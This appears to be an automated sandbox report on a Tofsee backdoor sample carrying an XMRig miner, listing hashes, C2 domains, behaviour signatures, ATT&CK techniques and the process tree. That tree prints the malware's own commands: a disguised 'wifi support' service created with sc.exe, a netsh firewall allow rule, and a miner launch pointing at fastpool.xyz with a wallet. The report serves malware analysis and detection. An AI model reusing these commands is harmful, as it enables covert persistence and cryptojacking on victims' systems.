Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-09-2022 06:52

General

  • Target

    5341353eb5628c3a0e2b8c2bf3df1d8727e7198217915ca824a0a4dd3618986f.exe

  • Size

    169KB

  • MD5

    293db69e226584393c0a43fd770d51f9

  • SHA1

    ad7667acd2289ccba86f4748fd2ee2fbad94fe95

  • SHA256

    5341353eb5628c3a0e2b8c2bf3df1d8727e7198217915ca824a0a4dd3618986f

  • SHA512

    a7c19194de2d03c6b0dffa24def4754a01dbfcbe17ce52427ea59113135a4ce5b7116ffb278a65e5224609abf368bd13ac82bf07f5634b8e0e999f3d479ce40f

  • SSDEEP

    3072:9jnLrN5Ofqvief73EKe9PNCGcS1uSligZBo6R1q/PkW4n:FLrOfqvv73Elbr0g3

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5341353eb5628c3a0e2b8c2bf3df1d8727e7198217915ca824a0a4dd3618986f.exe
    "C:\Users\Admin\AppData\Local\Temp\5341353eb5628c3a0e2b8c2bf3df1d8727e7198217915ca824a0a4dd3618986f.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3060
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\njdpckod\
      2⤵
        PID:4984
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rudacukn.exe" C:\Windows\SysWOW64\njdpckod\
        2⤵
          PID:4656
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create njdpckod binPath= "C:\Windows\SysWOW64\njdpckod\rudacukn.exe /d\"C:\Users\Admin\AppData\Local\Temp\5341353eb5628c3a0e2b8c2bf3df1d8727e7198217915ca824a0a4dd3618986f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4532
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description njdpckod "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3328
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start njdpckod
          2⤵
          • Launches sc.exe
          PID:4684
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4528
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 1036
          2⤵
          • Program crash
          PID:740
      • C:\Windows\SysWOW64\njdpckod\rudacukn.exe
        C:\Windows\SysWOW64\njdpckod\rudacukn.exe /d"C:\Users\Admin\AppData\Local\Temp\5341353eb5628c3a0e2b8c2bf3df1d8727e7198217915ca824a0a4dd3618986f.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2196
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3768
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1500
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2196 -s 516
          2⤵
          • Program crash
          PID:260
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3060 -ip 3060
        1⤵
          PID:3384
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2196 -ip 2196
          1⤵
            PID:1516

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\rudacukn.exe
            Filesize

            12.1MB

            MD5

            e4260e49596e4021fb3dae6eeff1460d

            SHA1

            d615cf24f813e8e6c59a1e47a276917fb6053dd4

            SHA256

            53d4d33566af44ba06ee8d23bfa8cccac4f56e634c0f92761f138270d7567ba3

            SHA512

            00127a38ca67408249d265c8833d156d20b8a8369e0fd09fd87ef8921442cc715e5fb6f85f46f199464ac4bfe04420a737f7bd0f6ef8d09c1268fceb6b6d388f

          • C:\Windows\SysWOW64\njdpckod\rudacukn.exe
            Filesize

            12.1MB

            MD5

            e4260e49596e4021fb3dae6eeff1460d

            SHA1

            d615cf24f813e8e6c59a1e47a276917fb6053dd4

            SHA256

            53d4d33566af44ba06ee8d23bfa8cccac4f56e634c0f92761f138270d7567ba3

            SHA512

            00127a38ca67408249d265c8833d156d20b8a8369e0fd09fd87ef8921442cc715e5fb6f85f46f199464ac4bfe04420a737f7bd0f6ef8d09c1268fceb6b6d388f

          • memory/1500-177-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/1500-171-0x0000000000000000-mapping.dmp
          • memory/1500-172-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2196-149-0x0000000000603000-0x0000000000613000-memory.dmp
            Filesize

            64KB

          • memory/2196-150-0x0000000000400000-0x0000000000585000-memory.dmp
            Filesize

            1.5MB

          • memory/3060-134-0x00000000022C0000-0x00000000022D3000-memory.dmp
            Filesize

            76KB

          • memory/3060-135-0x0000000000400000-0x0000000000585000-memory.dmp
            Filesize

            1.5MB

          • memory/3060-133-0x0000000000590000-0x0000000000690000-memory.dmp
            Filesize

            1024KB

          • memory/3060-144-0x0000000000400000-0x0000000000585000-memory.dmp
            Filesize

            1.5MB

          • memory/3328-140-0x0000000000000000-mapping.dmp
          • memory/3768-153-0x0000000002A00000-0x0000000002C0F000-memory.dmp
            Filesize

            2.1MB

          • memory/3768-156-0x0000000002D50000-0x0000000002D56000-memory.dmp
            Filesize

            24KB

          • memory/3768-145-0x0000000000000000-mapping.dmp
          • memory/3768-168-0x0000000007F90000-0x0000000007F97000-memory.dmp
            Filesize

            28KB

          • memory/3768-151-0x0000000000ED0000-0x0000000000EE5000-memory.dmp
            Filesize

            84KB

          • memory/3768-152-0x0000000000ED0000-0x0000000000EE5000-memory.dmp
            Filesize

            84KB

          • memory/3768-165-0x0000000007A40000-0x0000000007E4B000-memory.dmp
            Filesize

            4.0MB

          • memory/3768-146-0x0000000000ED0000-0x0000000000EE5000-memory.dmp
            Filesize

            84KB

          • memory/3768-159-0x0000000002D60000-0x0000000002D70000-memory.dmp
            Filesize

            64KB

          • memory/3768-162-0x0000000002FF0000-0x0000000002FF5000-memory.dmp
            Filesize

            20KB

          • memory/4528-143-0x0000000000000000-mapping.dmp
          • memory/4532-139-0x0000000000000000-mapping.dmp
          • memory/4656-137-0x0000000000000000-mapping.dmp
          • memory/4684-141-0x0000000000000000-mapping.dmp
          • memory/4984-136-0x0000000000000000-mapping.dmp